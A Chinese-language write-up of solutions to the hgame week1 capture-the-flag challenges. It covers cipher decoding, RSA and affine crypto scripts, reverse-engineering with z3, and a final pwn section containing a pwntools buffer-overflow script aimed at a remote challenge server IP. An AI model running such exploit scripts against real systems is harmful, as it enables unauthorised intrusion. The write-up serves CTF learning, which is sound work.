hgame week1

为什么week1这么难做。。。
MISC
1,欢迎参加HGame!
base64解码后为摩斯码，解码得flag
2，壁纸
binwalk提取出压缩包，发现密码为图片id，用https://saucenao.com找到p站id得flag
3,签到proplus
现根据password.txt,对内容进行栅栏后凯撒，得到
:many years later as he faced the firing squad, colonel aureliano buendia was to remember that distant afternoon when his father took him to discover ice.
eavmubaqhqmvepdt
呃呃呃百年孤独？反正得到密码后开压缩包，是ook
解后进行base32解密得到


```
iVBORw0KGgoAAAANSUhEUgAAAQQAAAEECAYAAADOCEoKAAAOWUlEQVR4nO2aS64ENwwD3/0v7WyCSW8GcE8okbKrAO8a+lASV/Z3AAD+5c9dAADkgCEAwAcMAQA+Y
AgA8AFDAIAPGAIAfMAQAOADhgAAH7YM4e/vj/d40gE059vNmaxZao/Jb1s3xK0TV6Wtmumapfa Y/LZ1Q9w6cVXaqpmuWWqPyW9bN8StE1elrZrpmqXZmPy2dUPcOn
FV2qqZrllqj8lvWzfErRNXpa2a6Zql9pj8tnVD3DpxVdqqma5Zao/Jb1s3xK0TV6WtmumapfaY/LZ1Q9w6cVXaqpmuWWqPyW9bN8StE1elrZrpmqXZmPy2dVOKOx1
lnw7NLAsUutzsLIbwv5m+kBjC+7qmgyEUMn0hMYT3dU0HQyhk+kJiCO/rmg6GUMj0hcQQ3tc1HQyhkOkLiSG8r2s6GEIh0xcSQ3hf13QwhEKmLySG8L6u6WAIhUxf
SAzhfV3TGW8IqQt0Qp8OzVJx7Ub3DOR9didNFfaEPh2apeLaje4ZyPvsTpoq7Al9OjRLxbUb3TOQ99mdNFXYE/p0aJaKaze6ZyDvsztpqrAn9OnQLBXXbnTPQN5nd
9JUYU/o06FZKq7d6J6BvM/upKnCntCnQ7NUXLvRPQN5n91JU4U9oU+HZqm4dqN7BvI+u5OmCntCnw7NUnHtRvcM5H12J00V9oQ+HZql4tqN7hnI++xOmiqsuk91zt
RFc2imrF8dL3VO2312J00VVt2nOmfqojk0U9avjpc6p+0+u5OmCqvuU50zddEcminrV8dLndN2n91JU4VV96nOmbpoDs2U9avjpc5pu8/upKnCqvtU50xdNIdmyvr
V8VLntN1nd9JUYdV9qnOmLppDM2X96nipc9rusztpqrDqPtU5UxfNoZmyfnW81Dlt99mdNFVYdZ/qnKmL5tBMWb86XuqctvvsTpoqrLpPdc7URXNopqxfHS91Ttt9
didNFVbdpzpn6qI5NFPWr46XOqftPruTpgrr6vMWxh9K6N5iCBjCSMYfSujeYggYwkjGH0ro3mIIGMJIxh9K6N5iCBjCSMYfSujeYggYwkjGH0ro3mIIGMJIxh9K6
N5iCBjCSMYfSujeYggYwkjGH0ro3o43hGQcg0o1NDXddSVroQRDKARDqANDqAFDKARDqANDqAFDKARDqANDqAFDKARDqANDqAFDKARDqANDqAFDKARDqANDqAFDKA
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
```

看着像是图片被base64了，加个解为图片
得到个二维码，扫码得flag
4,克苏鲁
压缩包和一个txt，在压缩包里有一个同样的txt，用明文
得到一个doc，有密码，文件里有bacon is tasty!
打开txt，是培根密码，

```
c='ofSuChGrEAtpowersORbeiNGStHeremayBEconCEivAblyASuRvIvaloFHuGely
REmOTEperiOd'
```

```
for i in range(len(c)):
    if ord(c[i])>=65 and ord(c[i])<=90:
        print('b',end='')
    elif ord(c[i])>=97 and ord(c[i])<=122:
        print('a',end='')
    if i%5==4:
        print(' ',end='')
```

解得doc密码
打开doc看隐藏文字得到flag

CRYPTO
1,InfantRSA

```
import gmpy2
import rsa
```

```
e=13
p=6817827374500220656554724554l1
q=6752748971320882535198319534l1
n=p*q
```

```
phin = (p-1) * (q-1)
d=gmpy2.invert(e, phin)
```

```
key=rsa.PrivateKey(n,e,int(d),p,q)
print(key)
c=27569846508236107014517368841149631154217290260855985901984l
```

```
flag=gmpy2.powmod(c,d,n)
flag = hex(flag)[2:]
```

```
print flag.decode('hex')
```

2,Affine

```
table='zxcvbnmasdfghjklqwertyuiop1234567890QWERTYUIOPASDFGHJKLZXCV
BNM'
c='A8I5zxr1A_J7ha_vG_TpH410'
flag=[]
for i in range(len(c)):
    ii=table.find(c[i])
    for j in range(len(table)):
        if (13*j+14)%62==ii:
            flag+=table[j]
for i in range(len(flag)):
    print(flag[i],end='')
```

3,Reorder

```
> abcdefghijklmnopqrstuvwxyz123456
pdcajngebolifmkh6tsqz4wur52yv31x
>  ;tagfahifklmnocqrstuvwxyz123456
cat fnag;olifmkh6tsqz4wur52yv31x
>  ;tagfahifklmlocqrstuvwxyz123456
cat flag;olifmkh6tsqz4wur52yv31x
> 12345678901234567890
6431047525296318  97    8
> 12345678901234567890
6431047525296318 097    8
>  ;tagfa89fklml
 at flag; l9fmk8
>  ;tagfa89f12315
 at flag;529f318
>  ;tagga
 at   ag;   g
>  ;tag6a89f12315
 at flag;5296318
>  ;tag6a89f12315c7890
cat flag;5296318 097    8
Rua!!!
Lmahtmjegp5${I+U}eP3T!uR_!0AmniT
```

```
table1='abcdefghijklmnopqrstuvwxyz123456'
table2='pdcajngebolifmkh6tsqz4wur52yv31x'

c='Lmahtmjegp5${I+U}eP3T!uR_!0AmniT'
```

```
flag=[]

for i in range(len(c)):
    for j in range(len(c)):
        if table1[i]==table2[j]:
            flag+=c[j]
            continue

for i in range(len(c)):
    print(flag[i],end='')
```

RE

1,advance

替换了索引表的base64，解密得flag

2,maze

迷宫题

```
  {
    if ( v3 != 'a' )
      goto LABEL_12;
    v5 -= 4;
  }
  if ( v5 < (char *)&unk_602080 || v5 > (char *)&unk_60247C || *(_DWORD *)v5 & 1 )
    goto LABEL_22;
  LODWORD(v4) = v4 + 1;
}
if ( v5 == &byte_60243C )
{
  sprintf(&v7, "hgame{%s}", s, v4);
  puts("You win!");
  printf("Flag is: ");
  puts(&v7);
  exit(0);
}
```

把迷宫提出来出来，因为在判断时是以加4减4移动的，所以只把每四个0或1中的第一位排出来

```
0111111111111111
0111111111111111
0111111111111111
0111111111111111
0000000111111111
1111110111111111
1111110111111111
1111110100001111
1111110101101111
```

```
1111110001101111
1111111111101111
1111111111100111
1111111111110111
11111111111100
```

走一遍得到flag

3,bitwise_operation2

```
v6 = 76;
v7 = 60;
v8 = -42;
v9 = 54;
v10[char v8; // [rsp+12h] [rbp-5Eh]
v11 = -120;
v12 = 32;
v13 = -52;
__isoc99_scanf((__int64)"%39s", (__int64)&s);
if ( strlen(&s) == 39 && s == 104 && v19 == 103 && v20 == 97 && v21 == 109 && v22 == 101 && v23 == 123 && v26 == 125 )
{
  v14 = 0LL;
  v15 = 0;
  v16 = 0LL;
  v17 = 0;
  sub_400616((__int64)&v14, (__int64)&v24);
  sub_400616((__int64)&v16, (__int64)&v25);
  for ( i = 0; i <= 7; ++i )
  {
    *((_BYTE *)&v14 + i) = ((*((_BYTE *)&v14 + i) & 0xE0) >> 5) | 8 * *((_BYTE *)&v14 + i);
    *((_BYTE *)&v14 + i) = *((_BYTE *)&v14 + i) & 0x55 ^ ((*((_BYTE *)&v16 + 7 - i) & 0xAA) >> 1) | *((_BYTE *)&v14 + i) & 0xAA;
    *((_BYTE *)&v16 + 7 - i) = 2 * (*((_BYTE *)&v14 + i) & 0x55) ^ *((_BYTE *)&v16 + 7 - i) & 0xAA | *((_BYTE *)&v16 + 7 - i) & 0
    *((_BYTE *)&v14 + i) = *((_BYTE *)&v14 + i) & 0x55 ^ ((*((_BYTE *)&v16 + 7 - i) & 0xAA) >> 1) | *((_BYTE *)&v14 + i) & 0xAA;
  }
  for ( j = 0; j <= 7; ++j )
  {
    *((_BYTE *)&v14 + j) ^= *(&v6 + j);
    if ( *((_BYTE *)&v14 + j) != aE4syRe[j] )
    {
      puts("sry, wrong flag");
      exit(0);
    }
  }
```

输入的hgame{}里分成了两段处理，从后往前推

```
a=['e','4','s','y','_','R','e','_']
b=['E','a','s','y','l','i','f','3']
v6=[0x4c,0x3c,0xd6,0x36,0x50,0x88,0x20,0xcc]
v14=[0,0,0,0,0,0,0,0]
v16=[0,0,0,0,0,0,0,0]

for i in range(len(a)):
    v14[i]=chr(ord(a[i])^v6[i])

for i in range(len(b)):
    v16[i]=chr(ord(b[i])^ord(a[i])^v6[i])

for i in range(8):
    print(ord(v14[i]),end=',')

for i in range(8):
    print(ord(v16[i]),end=',')
```

得到

#v14=[41,8,165,79,15,218,69,147]

#v16=[108,105,214,54,99,179,35,160]

之后用z3

```
from z3 import *

x1,x2,x3,y1=BitVecs('x1 x2 x3 y1',32)
a=[41,8,165,79,15,218,69,147]
b=[108,105,214,54,99,179,35,160]

for i in range(len(a)):
    c=7-i
    f=Solver()
    f.add(x2==(x1&0xE0)>>5|8*x1)
    f.add(x3==x2&0x55^((y1&0xAA) >> 1)| x2 &0xAA)
    f.add(b[c]==2*(x3&0x55)^y1&0xAA|y1&0x55)
    f.add(a[i]==x3&0x55^((b[c]&0xAA) >> 1)| x3 &0xAA)

    if f.check() == sat:
        print f.model()
```

得到

#v14=[15,35,62,99,99,121,130,210]

#v15=[102,203,244,30,203,27,1,2]

把这两段转为十六进制拼起来

hgame{0f233e63637982d266cbf41ecb1b0102}

4,CPP

```
for ( j = 0i64; j < 3; ++j )
{
  for ( k = 0i64; k < 3; ++k )
  {
    v14 = 0i64;
    for ( l = 0; l < 3; ++l )
      v14 += *(&v24 + 3 * l + k) * *(_QWORD *)sub_7FF7985131E0(&v16, l + 3 * j);
    if ( *(&v33 + 3 * j + k) != v14 )
    {
      v5 = put(std::cout, (__int64)"error");
      std::basic_ostream<char,std::char_traits<char>>::operator<<(v5, sub_7FF798512830);
      sub_7FF798513010(&v16);
      sub_7FF798512FA0(&flag);
      return 0;
    }
  }
}
```

很容易可以看出来这是矩阵相乘，用z3

```
from z3 import *

x=[Int('x%d'%i) for i in range(9)]
f=Solver()

f.add(x[0]+x[2]==26727)
f.add(x[1]+2*x[2]==24941)
f.add(x[0]+x[1]+2*x[2]==101)
f.add(x[3]+x[5]==29285)
f.add(x[4]+2*x[5]==26995)
f.add(x[3]+x[4]+2*x[5]==29551)
f.add(x[6]+x[8]==29551)
f.add(x[7]+2*x[8]==25953)
f.add(x[6]+x[7]+2*x[8]==29561)

if f.check()==sat:
    print f.model()
```

得到

```
[x8 = 25943,
 x5 = 26729,
 x2 = 51567,
 x7 = -25933,
 x6 = 3608,
 x4 = -26463,
 x3 = 2556,
 x1 = -78193,
 x0 = -24840]
```

但真正困扰我的是输入

```
f ( cmp((__int64)&flag, (__int64)v17, 0i64) || cmp((__int64)&flag, (__int64)"}", 0i64) != (char *)61 )// hgame{55}

 v7 = put(std::cout, (__int64)"eqqor");
 std::basic_ostream<char,std::char_traits<char>>::operator<<(v7, sub_7FF798512830);
 sub_7FF798513010(&v16);
 sub_7FF798512FA0(&flag);
```

一开始我怎么输都是error，就用x64调试了下，发现这个61原来是'}'前的长度，得到flag大概格式是hgame{55*'a'}

而输入矩阵总长为47，我就思考程序输入是怎么把输入拆开的，如果分割的话，共九个数，空格为8，共55个数，

在动调时发现了'_'，得到flag

```
C:\Users\harmonica.11>C:\Users\harmonica.11\Desktop\cpp.exe
hgame{-24840_-78193_51567_2556_-26463_26729_3608_-25933_25943}
you are good at re
```

。。。好累

PWN

1，Hard_AAAAA

```
from pwn import*
context.log_level = 'debug'

sh=remote('47.103.214.163',20000)
#sh=process('/home/harmonica/Desktop/hgame/Hard_AAAAA')

sh.recv()
payload='a'*0x7b+'\x30'+'\x4f'+'\x30'+'\x6f'+'\x00'+'\x4f'+'\x30'
sh.sendline(payload)

sh.interactive()
```